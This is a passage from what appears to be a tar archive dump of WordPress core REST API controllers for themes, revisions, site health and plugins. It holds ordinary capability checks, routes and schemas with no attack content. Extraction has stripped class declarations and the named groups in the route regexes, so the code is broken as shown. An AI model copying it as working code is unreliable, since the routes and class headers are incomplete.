=> 'uri', ), ), ), 'version' => array( 'description' => __( 'The theme\'s current version.' ), 'type' => 'string', 'readonly' => true, ), 'status' => array( 'description' => __( 'A named status for the theme.' ), 'type' => 'string', 'enum' => array( 'inactive', 'active' ), ), ), ); foreach ( get_registered_theme_features() as $feature => $config ) { if ( ! is_array( $config['show_in_rest'] ) ) { continue; } $name = $config['show_in_rest']['name']; $schema['properties']['theme_supports']['properties'][ $name ] = $config['show_in_rest']['schema']; } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the search params for the themes collection. * * @since 5.0.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = array( 'status' => array( 'description' => __( 'Limit result set to themes assigned one or more statuses.' ), 'type' => 'array', 'items' => array( 'enum' => array( 'active', 'inactive' ), 'type' => 'string', ), ), ); /** * Filters REST API collection parameters for the themes controller. * * @since 5.0.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_themes_collection_params', $query_params ); } /** * Sanitizes and validates the list of theme status. * * @since 5.0.0 * @deprecated 5.7.0 * * @param string|array $statuses One or more theme statuses. * @param WP_REST_Request $request Full details about the request. * @param string $parameter Additional parameter to pass to validation. * @return array|WP_Error A list of valid statuses, otherwise WP_Error object. */ public function sanitize_theme_status( $statuses, $request, $parameter ) { _deprecated_function( __METHOD__, '5.7.0' ); $statuses = wp_parse_slug_list( $statuses ); foreach ( $statuses as $status ) { $result = rest_validate_request_arg( $status, $request, $parameter ); if ( is_wp_error( $result ) ) { return $result; } } return $statuses; } } rest-api/endpoints/class-wp-rest-revisions-controller.php000064400000060415147177035020017724 0ustar00parent_post_type = $parent_post_type; $this->rest_base = 'revisions'; $post_type_object = get_post_type_object( $parent_post_type ); $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; $this->parent_controller = $post_type_object->get_rest_controller(); if ( ! $this->parent_controller ) { $this->parent_controller = new WP_REST_Posts_Controller( $parent_post_type ); } } /** * Registers the routes for revisions based on post types supporting revisions. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base, array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', ), 'id' => array( 'description' => __( 'Unique identifier for the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as revisions do not support trashing.' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Get the parent post, if the ID is valid. * * @since 4.7.2 * * @param int $parent Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent ) { $error = new WP_Error( 'rest_post_invalid_parent', __( 'Invalid post parent ID.' ), array( 'status' => 404 ) ); if ( (int) $parent <= 0 ) { return $error; } $parent = get_post( (int) $parent ); if ( empty( $parent ) || empty( $parent->ID ) || $this->parent_post_type !== $parent->post_type ) { return $error; } return $parent; } /** * Checks if a given request has access to get revisions. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( ! current_user_can( 'edit_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to view revisions of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Get the revision, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise. */ protected function get_revision( $id ) { $error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid revision ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $revision = get_post( (int) $id ); if ( empty( $revision ) || empty( $revision->ID ) || 'revision' !== $revision->post_type ) { return $error; } return $revision; } /** * Gets a collection of revisions. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } // Ensure a search string is set in case the orderby is set to 'relevance'. if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) { return new WP_Error( 'rest_no_search_term_defined', __( 'You need to define a search term to order by relevance.' ), array( 'status' => 400 ) ); } // Ensure an include parameter is set in case the orderby is set to 'include'. if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) { return new WP_Error( 'rest_orderby_include_missing_include', __( 'You need to define an include parameter to order by include.' ), array( 'status' => 400 ) ); } if ( wp_revisions_enabled( $parent ) ) { $registered = $this->get_collection_params(); $args = array( 'post_parent' => $parent->ID, 'post_type' => 'revision', 'post_status' => 'inherit', 'posts_per_page' => -1, 'orderby' => 'date ID', 'order' => 'DESC', 'suppress_filters' => true, ); $parameter_mappings = array( 'exclude' => 'post__not_in', 'include' => 'post__in', 'offset' => 'offset', 'order' => 'order', 'orderby' => 'orderby', 'page' => 'paged', 'per_page' => 'posts_per_page', 'search' => 's', ); foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $args[ $wp_param ] = $request[ $api_param ]; } } // For backward-compatibility, 'date' needs to resolve to 'date ID'. if ( isset( $args['orderby'] ) && 'date' === $args['orderby'] ) { $args['orderby'] = 'date ID'; } /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ $args = apply_filters( 'rest_revision_query', $args, $request ); $query_args = $this->prepare_items_query( $args, $request ); $revisions_query = new WP_Query(); $revisions = $revisions_query->query( $query_args ); $offset = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0; $page = (int) $query_args['paged']; $total_revisions = $revisions_query->found_posts; if ( $total_revisions < 1 ) { // Out-of-bounds, run the query again without LIMIT for total count. unset( $query_args['paged'], $query_args['offset'] ); $count_query = new WP_Query(); $count_query->query( $query_args ); $total_revisions = $count_query->found_posts; } if ( $revisions_query->query_vars['posts_per_page'] > 0 ) { $max_pages = ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] ); } else { $max_pages = $total_revisions > 0 ? 1 : 0; } if ( $total_revisions > 0 ) { if ( $offset >= $total_revisions ) { return new WP_Error( 'rest_revision_invalid_offset_number', __( 'The offset number requested is larger than or equal to the number of available revisions.' ), array( 'status' => 400 ) ); } elseif ( ! $offset && $page > $max_pages ) { return new WP_Error( 'rest_revision_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } } } else { $revisions = array(); $total_revisions = 0; $max_pages = 0; $page = (int) $request['page']; } $response = array(); foreach ( $revisions as $revision ) { $data = $this->prepare_item_for_response( $revision, $request ); $response[] = $this->prepare_response_for_collection( $data ); } $response = rest_ensure_response( $response ); $response->header( 'X-WP-Total', (int) $total_revisions ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $request_params = $request->get_query_params(); $base = add_query_arg( urlencode_deep( $request_params ), rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) ) ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Checks if a given request has access to get a specific revision. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { return $this->get_items_permissions_check( $request ); } /** * Retrieves one revision from the collection. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } $response = $this->prepare_item_for_response( $revision, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to delete a revision. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } $parent_post_type = get_post_type_object( $parent->post_type ); if ( ! current_user_can( 'delete_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete revisions of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } $response = $this->get_items_permissions_check( $request ); if ( ! $response || is_wp_error( $response ) ) { return $response; } if ( ! current_user_can( 'delete_post', $revision->ID ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this revision.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single revision. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for revisions. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "Revisions do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $previous = $this->prepare_item_for_response( $revision, $request ); $result = wp_delete_post( $request['id'], true ); /** * Fires after a revision is deleted via the REST API. * * @since 4.7.0 * * @param WP_Post|false|null $result The revision object (if it was deleted or moved to the Trash successfully) * or false or null (failure). If the revision was moved to the Trash, $result represents * its new state; if it was deleted, $result represents its state before deletion. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_revision', $result, $request ); if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); return $response; } /** * Determines the allowed query_vars for a get_items() response and prepares * them for WP_Query. * * @since 5.0.0 * * @param array $prepared_args Optional. Prepared WP_Query arguments. Default empty array. * @param WP_REST_Request $request Optional. Full details about the request. * @return array Items query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = array(); foreach ( $prepared_args as $key => $value ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ $query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } // Map to proper WP_Query orderby param. if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) { $orderby_mappings = array( 'id' => 'ID', 'include' => 'post__in', 'slug' => 'post_name', 'include_slugs' => 'post_name__in', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $query_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } return $query_args; } /** * Prepares the revision for the REST response. * * @since 4.7.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post = $item; $GLOBALS['post'] = $post; setup_postdata( $post ); $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'author', $fields, true ) ) { $data['author'] = (int) $post->post_author; } if ( in_array( 'date', $fields, true ) ) { $data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date ); } if ( in_array( 'date_gmt', $fields, true ) ) { $data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt ); } if ( in_array( 'id', $fields, true ) ) { $data['id'] = $post->ID; } if ( in_array( 'modified', $fields, true ) ) { $data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified ); } if ( in_array( 'modified_gmt', $fields, true ) ) { $data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt ); } if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $post->post_parent; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $post->post_name; } if ( in_array( 'guid', $fields, true ) ) { $data['guid'] = array( /** This filter is documented in wp-includes/post-template.php */ 'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ), 'raw' => $post->guid, ); } if ( in_array( 'title', $fields, true ) ) { $data['title'] = array( 'raw' => $post->post_title, 'rendered' => get_the_title( $post->ID ), ); } if ( in_array( 'content', $fields, true ) ) { $data['content'] = array( 'raw' => $post->post_content, /** This filter is documented in wp-includes/post-template.php */ 'rendered' => apply_filters( 'the_content', $post->post_content ), ); } if ( in_array( 'excerpt', $fields, true ) ) { $data['excerpt'] = array( 'raw' => $post->post_excerpt, 'rendered' => $this->prepare_excerpt_response( $post->post_excerpt, $post ), ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( ! empty( $data['parent'] ) ) { $response->add_link( 'parent', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->parent_base, $data['parent'] ) ) ); } /** * Filters a revision returned from the REST API. * * Allows modification of the revision right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post The original revision object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_revision', $response, $post, $request ); } /** * Checks the post_date_gmt or modified_gmt and prepare any post or * modified date for single post output. * * @since 4.7.0 * * @param string $date_gmt GMT publication time. * @param string|null $date Optional. Local publication time. Default null. * @return string|null ISO8601/RFC3339 formatted datetime, otherwise null. */ protected function prepare_date_response( $date_gmt, $date = null ) { if ( '0000-00-00 00:00:00' === $date_gmt ) { return null; } if ( isset( $date ) ) { return mysql_to_rfc3339( $date ); } return mysql_to_rfc3339( $date_gmt ); } /** * Retrieves the revision's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => "{$this->parent_post_type}-revision", 'type' => 'object', // Base properties for every Revision. 'properties' => array( 'author' => array( 'description' => __( 'The ID for the author of the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'date' => array( 'description' => __( "The date the revision was published, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit', 'embed' ), ), 'date_gmt' => array( 'description' => __( 'The date the revision was published, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'guid' => array( 'description' => __( 'GUID for the revision, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), ), 'id' => array( 'description' => __( 'Unique identifier for the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'modified' => array( 'description' => __( "The date the revision was last modified, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'modified_gmt' => array( 'description' => __( 'The date the revision was last modified, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the revision unique to its type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $parent_schema = $this->parent_controller->get_item_schema(); if ( ! empty( $parent_schema['properties']['title'] ) ) { $schema['properties']['title'] = $parent_schema['properties']['title']; } if ( ! empty( $parent_schema['properties']['content'] ) ) { $schema['properties']['content'] = $parent_schema['properties']['content']; } if ( ! empty( $parent_schema['properties']['excerpt'] ) ) { $schema['properties']['excerpt'] = $parent_schema['properties']['excerpt']; } if ( ! empty( $parent_schema['properties']['guid'] ) ) { $schema['properties']['guid'] = $parent_schema['properties']['guid']; } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; unset( $query_params['per_page']['default'] ); $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'desc', 'enum' => array( 'asc', 'desc' ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by object attribute.' ), 'type' => 'string', 'default' => 'date', 'enum' => array( 'date', 'id', 'include', 'relevance', 'slug', 'include_slugs', 'title', ), ); return $query_params; } /** * Checks the post excerpt and prepare it for single post output. * * @since 4.7.0 * * @param string $excerpt The post excerpt. * @param WP_Post $post Post revision object. * @return string Prepared excerpt or empty string. */ protected function prepare_excerpt_response( $excerpt, $post ) { /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters( 'the_excerpt', $excerpt, $post ); if ( empty( $excerpt ) ) { return ''; } return $excerpt; } } rest-api/endpoints/class-wp-rest-site-health-controller.php000064400000021716147177035020020113 0ustar00namespace = 'wp-site-health/v1'; $this->rest_base = 'tests'; $this->site_health = $site_health; } /** * Registers API routes. * * @since 5.6.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'background-updates' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_background_updates' ), 'permission_callback' => function () { return $this->validate_request_permission( 'background_updates' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'loopback-requests' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_loopback_requests' ), 'permission_callback' => function () { return $this->validate_request_permission( 'loopback_requests' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'https-status' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_https_status' ), 'permission_callback' => function () { return $this->validate_request_permission( 'https_status' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'dotorg-communication' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_dotorg_communication' ), 'permission_callback' => function () { return $this->validate_request_permission( 'dotorg_communication' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'authorization-header' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_authorization_header' ), 'permission_callback' => function () { return $this->validate_request_permission( 'authorization_header' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s', 'directory-sizes' ), array( 'methods' => 'GET', 'callback' => array( $this, 'get_directory_sizes' ), 'permission_callback' => function() { return $this->validate_request_permission( 'debug_enabled' ) && ! is_multisite(); }, ) ); } /** * Validates if the current user can request this REST endpoint. * * @since 5.6.0 * * @param string $check The endpoint check being ran. * @return bool */ protected function validate_request_permission( $check ) { $default_capability = 'view_site_health_checks'; /** * Filters the capability needed to run a given Site Health check. * * @since 5.6.0 * * @param string $default_capability The default capability required for this check. * @param string $check The Site Health check being performed. */ $capability = apply_filters( "site_health_test_rest_capability_{$check}", $default_capability, $check ); return current_user_can( $capability ); } /** * Checks if background updates work as expected. * * @since 5.6.0 * * @return array */ public function test_background_updates() { $this->load_admin_textdomain(); return $this->site_health->get_test_background_updates(); } /** * Checks that the site can reach the WordPress.org API. * * @since 5.6.0 * * @return array */ public function test_dotorg_communication() { $this->load_admin_textdomain(); return $this->site_health->get_test_dotorg_communication(); } /** * Checks that loopbacks can be performed. * * @since 5.6.0 * * @return array */ public function test_loopback_requests() { $this->load_admin_textdomain(); return $this->site_health->get_test_loopback_requests(); } /** * Checks that the site's frontend can be accessed over HTTPS. * * @since 5.7.0 * * @return array */ public function test_https_status() { $this->load_admin_textdomain(); return $this->site_health->get_test_https_status(); } /** * Checks that the authorization header is valid. * * @since 5.6.0 * * @return array */ public function test_authorization_header() { $this->load_admin_textdomain(); return $this->site_health->get_test_authorization_header(); } /** * Gets the current directory sizes for this install. * * @since 5.6.0 * * @return array|WP_Error */ public function get_directory_sizes() { if ( ! class_exists( 'WP_Debug_Data' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php'; } $this->load_admin_textdomain(); $sizes_data = WP_Debug_Data::get_sizes(); $all_sizes = array( 'raw' => 0 ); foreach ( $sizes_data as $name => $value ) { $name = sanitize_text_field( $name ); $data = array(); if ( isset( $value['size'] ) ) { if ( is_string( $value['size'] ) ) { $data['size'] = sanitize_text_field( $value['size'] ); } else { $data['size'] = (int) $value['size']; } } if ( isset( $value['debug'] ) ) { if ( is_string( $value['debug'] ) ) { $data['debug'] = sanitize_text_field( $value['debug'] ); } else { $data['debug'] = (int) $value['debug']; } } if ( ! empty( $value['raw'] ) ) { $data['raw'] = (int) $value['raw']; } $all_sizes[ $name ] = $data; } if ( isset( $all_sizes['total_size']['debug'] ) && 'not available' === $all_sizes['total_size']['debug'] ) { return new WP_Error( 'not_available', __( 'Directory sizes could not be returned.' ), array( 'status' => 500 ) ); } return $all_sizes; } /** * Loads the admin textdomain for Site Health tests. * * The {@see WP_Site_Health} class is defined in WP-Admin, while the REST API operates in a front-end context. * This means that the translations for Site Health won't be loaded by default in {@see load_default_textdomain()}. * * @since 5.6.0 */ protected function load_admin_textdomain() { // Accounts for inner REST API requests in the admin. if ( ! is_admin() ) { $locale = determine_locale(); load_textdomain( 'default', WP_LANG_DIR . "/admin-$locale.mo" ); } } /** * Gets the schema for each site health test. * * @since 5.6.0 * * @return array The test schema. */ public function get_item_schema() { if ( $this->schema ) { return $this->schema; } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'wp-site-health-test', 'type' => 'object', 'properties' => array( 'test' => array( 'type' => 'string', 'description' => __( 'The name of the test being run.' ), 'readonly' => true, ), 'label' => array( 'type' => 'string', 'description' => __( 'A label describing the test.' ), 'readonly' => true, ), 'status' => array( 'type' => 'string', 'description' => __( 'The status of the test.' ), 'enum' => array( 'good', 'recommended', 'critical' ), 'readonly' => true, ), 'badge' => array( 'type' => 'object', 'description' => __( 'The category this test is grouped in.' ), 'properties' => array( 'label' => array( 'type' => 'string', 'readonly' => true, ), 'color' => array( 'type' => 'string', 'enum' => array( 'blue', 'orange', 'red', 'green', 'purple', 'gray' ), 'readonly' => true, ), ), 'readonly' => true, ), 'description' => array( 'type' => 'string', 'description' => __( 'A more descriptive explanation of what the test looks for, and why it is important for the user.' ), 'readonly' => true, ), 'actions' => array( 'type' => 'string', 'description' => __( 'HTML containing an action to direct the user to where they can resolve the issue.' ), 'readonly' => true, ), ), ); return $this->schema; } } rest-api/endpoints/class-wp-rest-plugins-controller.php000064400000067251147177035020017371 0ustar00namespace = 'wp/v2'; $this->rest_base = 'plugins'; } /** * Registers the routes for the plugins controller. * * @since 5.5.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => array( 'slug' => array( 'type' => 'string', 'required' => true, 'description' => __( 'WordPress.org plugin directory slug.' ), 'pattern' => '[\w\-]+', ), 'status' => array( 'description' => __( 'The plugin activation status.' ), 'type' => 'string', 'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ), 'default' => 'inactive', ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P' . self::PATTERN . ')', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'plugin' => array( 'type' => 'string', 'pattern' => self::PATTERN, 'validate_callback' => array( $this, 'validate_plugin_param' ), 'sanitize_callback' => array( $this, 'sanitize_plugin_param' ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_view_plugins', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a collection of plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugins = array(); foreach ( get_plugins() as $file => $data ) { if ( is_wp_error( $this->check_read_permission( $file ) ) ) { continue; } $data['_file'] = $file; if ( ! $this->does_plugin_match_request( $request, $data ) ) { continue; } $plugins[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $data, $request ) ); } return new WP_REST_Response( $plugins ); } /** * Checks if a given request has access to get a specific plugin. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { if ( ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_cannot_view_plugin', __( 'Sorry, you are not allowed to manage plugins for this site.' ), array( 'status' => rest_authorization_required_code() ) ); } $can_read = $this->check_read_permission( $request['plugin'] ); if ( is_wp_error( $can_read ) ) { return $can_read; } return true; } /** * Retrieves one plugin from the site. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $data = $this->get_plugin_data( $request['plugin'] ); if ( is_wp_error( $data ) ) { return $data; } return $this->prepare_item_for_response( $data, $request ); } /** * Checks if the given plugin can be viewed by the current user. * * On multisite, this hides non-active network only plugins if the user does not have permission * to manage network plugins. * * @since 5.5.0 * * @param string $plugin The plugin file to check. * @return true|WP_Error True if can read, a WP_Error instance otherwise. */ protected function check_read_permission( $plugin ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; if ( ! $this->is_plugin_installed( $plugin ) ) { return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) ); } if ( ! is_multisite() ) { return true; } if ( ! is_network_only_plugin( $plugin ) || is_plugin_active( $plugin ) || current_user_can( 'manage_network_plugins' ) ) { return true; } return new WP_Error( 'rest_cannot_view_plugin', __( 'Sorry, you are not allowed to manage this plugin.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a given request has access to upload plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { if ( ! current_user_can( 'install_plugins' ) ) { return new WP_Error( 'rest_cannot_install_plugin', __( 'Sorry, you are not allowed to install plugins on this site.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'inactive' !== $request['status'] && ! current_user_can( 